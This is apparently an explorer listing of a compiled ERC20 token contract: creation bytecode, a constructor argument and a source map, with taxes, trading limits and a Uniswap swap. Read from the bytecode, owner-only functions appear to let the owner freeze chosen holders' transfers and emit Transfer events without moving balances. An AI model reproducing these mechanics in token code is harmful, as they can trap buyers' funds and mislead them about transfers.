61049b60048036038101906104969190612a6f565b610c2c565b6040516104a8919061294d565b60405180910390f35b6104b9610c72565b005b6104d560048036038101906104d09190612a6f565b610c85565b6040516104e2919061283d565b60405180910390f35b6104f3610ca2565b6040516105009190612a56565b60405180910390f35b610523600480360381019061051e9190612ac5565b610cc9565b005b61053f600480360381019061053a9190612a6f565b610dd0565b60405161054c919061283d565b60405180910390f35b61055d610ded565b60405161056a91906126bc565b60405180910390f35b61057b610e7d565b604051610588919061294d565b60405180910390f35b6105ab60048036038101906105a69190612a6f565b610e83565b6040516105b8919061283d565b60405180910390f35b6105db60048036038101906105d691906127e5565b610ed5565b6040516105e8919061283d565b60405180910390f35b61060b600480360381019061060691906127e5565b610f4a565b604051610618919061283d565b60405180910390f35b61063b60048036038101906106369190612a9a565b610f6c565b005b610645611056565b604051610652919061283d565b60405180910390f35b610663611068565b604051610670919061283d565b60405180910390f35b610693600480360381019061068e9190612a6f565b61107a565b005b6106af60048036038101906106aa9190612b03565b6110c5565b005b6106b9611151565b6040516106c6919061294d565b60405180910390f35b6106d7611157565b6040516106e4919061294d565b60405180910390f35b61070760048036038101906107029190612b41565b61115d565b604051610714919061294d565b60405180910390f35b6107256111df565b005b61072f611202565b005b61074b60048036038101906107469190612a6f565b611275565b005b61076760048036038101906107629190612ac5565b6112f7565b005b610771611493565b60405161077e919061294d565b60405180910390f35b60606006805461079690612bac565b80601f01602080910402602001604051908101604052809291908181526020018280546107c290612bac565b801561080d5780601f106107e45761010080835404028352916020019161080d565b820191905f5260205f20905b8154815290600101906020018083116107f057829003601f168201915b5050505050905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f80610845611499565b90506108528185856114a0565b600191505092915050565b610865611663565b5f5b83839050811015610900578160035f86868581811061088957610888612bdc565b5b905060200201602081019061089e9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806108f890612c36565b915050610867565b50505050565b5f600554905090565b5f80610919611499565b90506109268582856116e1565b61093185858561176c565b60019150509392505050565b610945611663565b5f5b83839050811015610a125783838281811061096557610964612bdc565b5b905060200201602081019061097a9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1660135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109f7919061294d565b60405180910390a38080610a0a90612c36565b915050610947565b50505050565b5f6009905090565b5f80610a2a611499565b9050610a4b818585610a3c858961115d565b610a469190612c7d565b6114a0565b600191505092915050565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960019054906101000a900460ff1681565b60115481565b600b602052805f5260405f205f915054906101000a900460ff1681565b610ab9611663565b610ac1610a18565b600a610acd9190612ddf565b60646001610ad9610906565b610ae39190612e29565b610aed9190612e97565b610af79190612e97565b811015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090612f11565b60405180910390fd5b610b41610a18565b600a610b4d9190612ddf565b81610b589190612e29565b6010819055507fde064515fae8f8bb6d8ff19d2c6ba704322def7494147d8a971266430ade0788601054604051610b8f919061294d565b60405180910390a150565b5f47905090565b610ba9611663565b5f600960016101000a81548160ff0219169083151502179055505f60095f6101000a81548160ff021916908315150217905550610be4610906565b600f81905550610bf2610906565b6010819055507fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c60405160405180910390a1565b600f5481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c7a611663565b610c835f6118cb565b565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610cd1611663565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612f79565b60405180910390fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507f998cce27cbf44405c67eb636a634d5e2f2e6ff248b3d71fbbbb022f3c4c6dd2d8282604051610dc4929190612f97565b60405180910390a15050565b600e602052805f5260405f205f915054906101000a900460ff1681565b606060078054610dfc90612bac565b80601f0160208091040260200160405190810160405280929190818152602001828054610e2890612bac565b8015610e735780601f10610e4a57610100808354040283529160200191610e73565b820191905f5260205f20905b815481529060010190602001808311610e5657829003601f168201915b5050505050905090565b61271081565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f80610edf611499565b90505f610eec828661115d565b905083811015610f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f289061302e565b60405180910390fd5b610f3e82868684036114a0565b60019250505092915050565b5f80610f54611499565b9050610f6181858561176c565b600191505092915050565b610f74611663565b610f7c610a18565b600a610f889190612ddf565b6103e86005610f95610906565b610f9f9190612e29565b610fa99190612e97565b610fb39190612e97565b811015610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90613096565b60405180910390fd5b610ffd610a18565b600a6110099190612ddf565b816110149190612e29565b600f819055507fbd5d3777a4ca05c2475cf0dd89d6a70173f775d8b42722c19d597cd7c870c4c7600f5460405161104b919061294d565b60405180910390a150565b60095f9054906101000a900460ff1681565b600d5f9054906101000a900460ff1681565b611082611663565b8060135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6110cd611663565b816011819055507f5380a61520019ce8270d583f62f1b2b9f4f4372e1acaaf708f4865cecece0508601154604051611105919061294d565b60405180910390a1806012819055507fa02824f65350567bc405e202b741e7ca6274004a9feeb44149df72b8bd599c97601254604051611145919061294d565b60405180910390a15050565b600a5481565b60125481565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6111e7611663565b5f60095f6101000a81548160ff021916908315150217905550565b61120a611663565b600d5f9054906101000a900460ff1615611259576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611250906130fe565b60405180910390fd5b6001600d5f6101000a81548160ff021916908315150217905550565b61127d611663565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e29061318c565b60405180910390fd5b6112f4816118cb565b50565b6112ff611663565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490612f79565b60405180910390fd5b806114025760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f8906131f4565b60405180910390fd5b5b80600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507f8f9f40630a1d139e6cf69b4f447ca47a36f10a017524efaa38252e516fa227ce8282604051611487929190612f97565b60405180910390a15050565b60105481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361150e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150590613282565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390613310565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611656919061294d565b60405180910390a3505050565b61166b611499565b73ffffffffffffffffffffffffffffffffffffffff1661168961198c565b73ffffffffffffffffffffffffffffffffffffffff16146116df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d690613378565b60405180910390fd5b565b5f6116ec848461115d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117665781811015611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f906133e0565b60405180910390fd5b61176584848484036114a0565b5b50505050565b600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806118075750600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061181e5750600960029054906101000a900460ff165b156118335761182e83838361199f565b6118c6565b600d5f9054906101000a900460ff16611881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187890613448565b60405180910390fd5b61188c838383611c0e565b816118979190613466565b9050600960019054906101000a900460ff16156118ba576118b9838383611de5565b5b6118c583838361199f565b5b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80611996612242565b90508091505090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0490613509565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7290613597565b60405180910390fd5b611a868383836122e2565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0190613625565b60405180910390fd5b81810360025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bf5919061294d565b60405180910390a3611c08848484612342565b50505050565b5f600a54611c1b30610c2c565b10158015611c365750600960029054906101000a900460ff16155b8015611c895750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611ccc576001600960026101000a81548160ff021916908315150217905550611cb1612347565b5f600960026101000a81548160ff0219169083151502179055505b5f600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611d2457505f601254115b15611d4b5761271060125484611d3a9190612e29565b611d449190612e97565b9050611dc6565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611da257505f601154115b15611dc55761271060115484611db89190612e29565b611dc29190612e97565b90505b5b5f811115611dda57611dd985308361199f565b5b809150509392505050565b60095f9054906101000a900460ff1615611f64577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e9c5750600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f63574360085f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f179061368d565b60405180910390fd5b4360085f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156120015750600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156120a857600f5481111561204b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612042906136f5565b60405180910390fd5b60105461205783610c2c565b826120629190612c7d565b11156120a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209a9061375d565b60405180910390fd5b61223d565b600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156121455750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561219457600f5481111561218f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612186906136f5565b60405180910390fd5b61223c565b600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661223b576010546121ee83610c2c565b826121f99190612c7d565b111561223a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122319061375d565b60405180910390fd5b5b5b5b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122ba575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff166122dd565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561233d575f811461233c575f80fd5b5b505050565b505050565b5f61235130610c2c565b90505f81036123605750612428565b6028600a5461236f9190612e29565b811115612388576028600a546123859190612e29565b90505b6123918161242a565b5f471115612426575f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516123df906137a8565b5f6040518083038185875af1925050503d805f8114612419576040519150601f19603f3d011682016040523d82523d5f602084013e61241e565b606091505b505080915050505b505b565b5f600267ffffffffffffffff811115612446576124456137bc565b5b6040519080825280602002602001820160405280156124745781602001602082028036833780820191505090505b50905030815f8151811061248b5761248a612bdc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561252e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061255291906137fd565b8160018151811061256657612565612bdc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612601959493929190613918565b5f604051808303815f87803b158015612618575f80fd5b505af115801561262a573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561266957808201518184015260208101905061264e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61268e82612632565b612698818561263c565b93506126a881856020860161264c565b6126b181612674565b840191505092915050565b5f6020820190508181035f8301526126d48184612684565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f61271e612719612714846126dc565b6126fb565b6126dc565b9050919050565b5f61272f82612704565b9050919050565b5f61274082612725565b9050919050565b61275081612736565b82525050565b5f6020820190506127695f830184612747565b92915050565b5f80fd5b5f80fd5b5f612781826126dc565b9050919050565b61279181612777565b811461279b575f80fd5b50565b5f813590506127ac81612788565b92915050565b5f819050919050565b6127c4816127b2565b81146127ce575f80fd5b50565b5f813590506127df816127bb565b92915050565b5f80604083850312156127fb576127fa61276f565b5b5f6128088582860161279e565b9250506020612819858286016127d1565b9150509250929050565b5f8115159050919050565b61283781612823565b82525050565b5f6020820190506128505f83018461282e565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261287757612876612856565b5b8235905067ffffffffffffffff8111156128945761289361285a565b5b6020830191508360208202830111156128b0576128af61285e565b5b9250929050565b6128c081612823565b81146128ca575f80fd5b50565b5f813590506128db816128b7565b92915050565b5f805f604084860312156128f8576128f761276f565b5b5f84013567ffffffffffffffff81111561291557612914612773565b5b61292186828701612862565b93509350506020612934868287016128cd565b9150509250925092565b612947816127b2565b82525050565b5f6020820190506129605f83018461293e565b92915050565b5f805f6060848603121561297d5761297c61276f565b5b5f61298a8682870161279e565b935050602061299b8682870161279e565b92505060406129ac868287016127d1565b9150509250925092565b5f805f604084860312156129cd576129cc61276f565b5b5f84013567ffffffffffffffff8111156129ea576129e9612773565b5b6129f686828701612862565b93509350506020612a09868287016127d1565b9150509250925092565b5f60ff82169050919050565b612a2881612a13565b82525050565b5f602082019050612a415f830184612a1f565b92915050565b612a5081612777565b82525050565b5f602082019050612a695f830184612a47565b92915050565b5f60208284031215612a8457612a8361276f565b5b5f612a918482850161279e565b91505092915050565b5f60208284031215612aaf57612aae61276f565b5b5f612abc848285016127d1565b91505092915050565b5f8060408385031215612adb57612ada61276f565b5b5f612ae88582860161279e565b9250506020612af9858286016128cd565b9150509250929050565b5f8060408385031215612b1957612b1861276f565b5b5f612b26858286016127d1565b9250506020612b37858286016127d1565b9150509250929050565b5f8060408385031215612b5757612b5661276f565b5b5f612b648582860161279e565b9250506020612b758582860161279e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612bc357607f821691505b602082108103612bd657612bd5612b7f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612c40826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612c7257612c71612c09565b5b600182019050919050565b5f612c87826127b2565b9150612c92836127b2565b9250828201905080821115612caa57612ca9612c09565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612d0557808604811115612ce157612ce0612c09565b5b6001851615612cf05780820291505b8081029050612cfe85612cb0565b9450612cc5565b94509492505050565b5f82612d1d5760019050612dd8565b81612d2a575f9050612dd8565b8160018114612d405760028114612d4a57612d79565b6001915050612dd8565b60ff841115612d5c57612d5b612c09565b5b8360020a915084821115612d7357612d72612c09565b5b50612dd8565b5060208310610133831016604e8410600b8410161715612dae5782820a905083811115612da957612da8612c09565b5b612dd8565b612dbb8484846001612cbc565b92509050818404811115612dd257612dd1612c09565b5b81810290505b9392505050565b5f612de9826127b2565b9150612df483612a13565b9250612e217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d0e565b905092915050565b5f612e33826127b2565b9150612e3e836127b2565b9250828202612e4c816127b2565b91508282048414831517612e6357612e62612c09565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ea1826127b2565b9150612eac836127b2565b925082612ebc57612ebb612e6a565b5b828204905092915050565b7f4d757374206265203e3d203125000000000000000000000000000000000000005f82015250565b5f612efb600d8361263c565b9150612f0682612ec7565b602082019050919050565b5f6020820190508181035f830152612f2881612eef565b9050919050565b7f5a65726f204164647265737300000000000000000000000000000000000000005f82015250565b5f612f63600c8361263c565b9150612f6e82612f2f565b602082019050919050565b5f6020820190508181035f830152612f9081612f57565b9050919050565b5f604082019050612faa5f830185612a47565b612fb7602083018461282e565b9392505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61301860258361263c565b915061302382612fbe565b604082019050919050565b5f6020820190508181035f8301526130458161300c565b9050919050565b7f4d757374206265203e3d20302e352500000000000000000000000000000000005f82015250565b5f613080600f8361263c565b915061308b8261304c565b602082019050919050565b5f6020820190508181035f8301526130ad81613074565b9050919050565b7f54726164696e67206163746976650000000000000000000000000000000000005f82015250565b5f6130e8600e8361263c565b91506130f3826130b4565b602082019050919050565b5f6020820190508181035f830152613115816130dc565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61317660268361263c565b91506131818261311c565b604082019050919050565b5f6020820190508181035f8301526131a38161316a565b9050919050565b7f50616972000000000000000000000000000000000000000000000000000000005f82015250565b5f6131de60048361263c565b91506131e9826131aa565b602082019050919050565b5f6020820190508181035f83015261320b816131d2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61326c60248361263c565b915061327782613212565b604082019050919050565b5f6020820190508181035f83015261329981613260565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132fa60228361263c565b9150613305826132a0565b604082019050919050565b5f6020820190508181035f830152613327816132ee565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61336260208361263c565b915061336d8261332e565b602082019050919050565b5f6020820190508181035f83015261338f81613356565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6133ca601d8361263c565b91506133d582613396565b602082019050919050565b5f6020820190508181035f8301526133f7816133be565b9050919050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f61343260128361263c565b915061343d826133fe565b602082019050919050565b5f6020820190508181035f83015261345f81613426565b9050919050565b5f613470826127b2565b915061347b836127b2565b925082820390508181111561349357613492612c09565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6134f360258361263c565b91506134fe82613499565b604082019050919050565b5f6020820190508181035f830152613520816134e7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61358160238361263c565b915061358c82613527565b604082019050919050565b5f6020820190508181035f8301526135ae81613575565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61360f60268361263c565b915061361a826135b5565b604082019050919050565b5f6020820190508181035f83015261363c81613603565b9050919050565b7f5472616e736665722044656c617920656e61626c65642e0000000000000000005f82015250565b5f61367760178361263c565b915061368282613643565b602082019050919050565b5f6020820190508181035f8301526136a48161366b565b9050919050565b7f4d61782074782065786365656465642e000000000000000000000000000000005f82015250565b5f6136df60108361263c565b91506136ea826136ab565b602082019050919050565b5f6020820190508181035f83015261370c816136d3565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f61374760138361263c565b915061375282613713565b602082019050919050565b5f6020820190508181035f8301526137748161373b565b9050919050565b5f81905092915050565b50565b5f6137935f8361377b565b915061379e82613785565b5f82019050919050565b5f6137b282613788565b9150819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506137f781612788565b92915050565b5f602082840312156138125761381161276f565b5b5f61381f848285016137e9565b91505092915050565b5f819050919050565b5f61384b61384661384184613828565b6126fb565b6127b2565b9050919050565b61385b81613831565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61389381612777565b82525050565b5f6138a4838361388a565b60208301905092915050565b5f602082019050919050565b5f6138c682613861565b6138d0818561386b565b93506138db8361387b565b805f5b8381101561390b5781516138f28882613899565b97506138fd836138b0565b9250506001810190506138de565b5085935050505092915050565b5f60a08201905061392b5f83018861293e565b6139386020830187613852565b818103604083015261394a81866138bc565b90506139596060830185612a47565b613966608083018461293e565b969550505050505056fea26469706673582212201e6dab95047c61f9f1a7007791978b2daf40ea95648fe86c7c3a57331ffd5dc964736f6c63430008150033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000552a4e5661aa2bcceab56425805e69ebfba33d53
-----Decoded View---------------
Arg [0] : dev_ (address): 0x552a4e5661Aa2bCCEaB56425805E69EBFbA33d53
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000552a4e5661aa2bcceab56425805e69ebfba33d53
Deployed Bytecode Sourcemap
535:7787:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;824:100:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1268:37:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3302:201:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6100:197:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2071:108:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4083:261;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8126:193:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1914:92:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4753:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1240:21:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;749:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1181:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;921:48;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3659:271;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;932:109:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4304:235:3;;;:::i;:::-;;1118:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2242:127:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1039:103:2;;;:::i;:::-;;976:49:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;809:87:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2768:251:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1068:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1162:104:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;869:43:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7409:128;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5494:436:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2575:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3377:274:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;702:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1034:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7545:79;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3938:212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;826:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1209:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2831:151:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4547:99:3;;;:::i;:::-;;4158:138;;;:::i;:::-;;1287:201:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3027:342:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1148:24;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;824:100:0;878:13;911:5;904:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;824:100;:::o;1268:37:3:-;;;:::o;3302:201:0:-;3385:4;3402:13;3418:12;:10;:12::i;:::-;3402:28;;3441:32;3450:5;3457:7;3466:6;3441:8;:32::i;:::-;3491:4;3484:11;;;3302:201;;;;:::o;6100:197:3:-;768:13:2;:11;:13::i;:::-;6187:9:3::1;6182:108;6206:4;;:11;;6202:1;:15;6182:108;;;6275:3;6239:24;:33;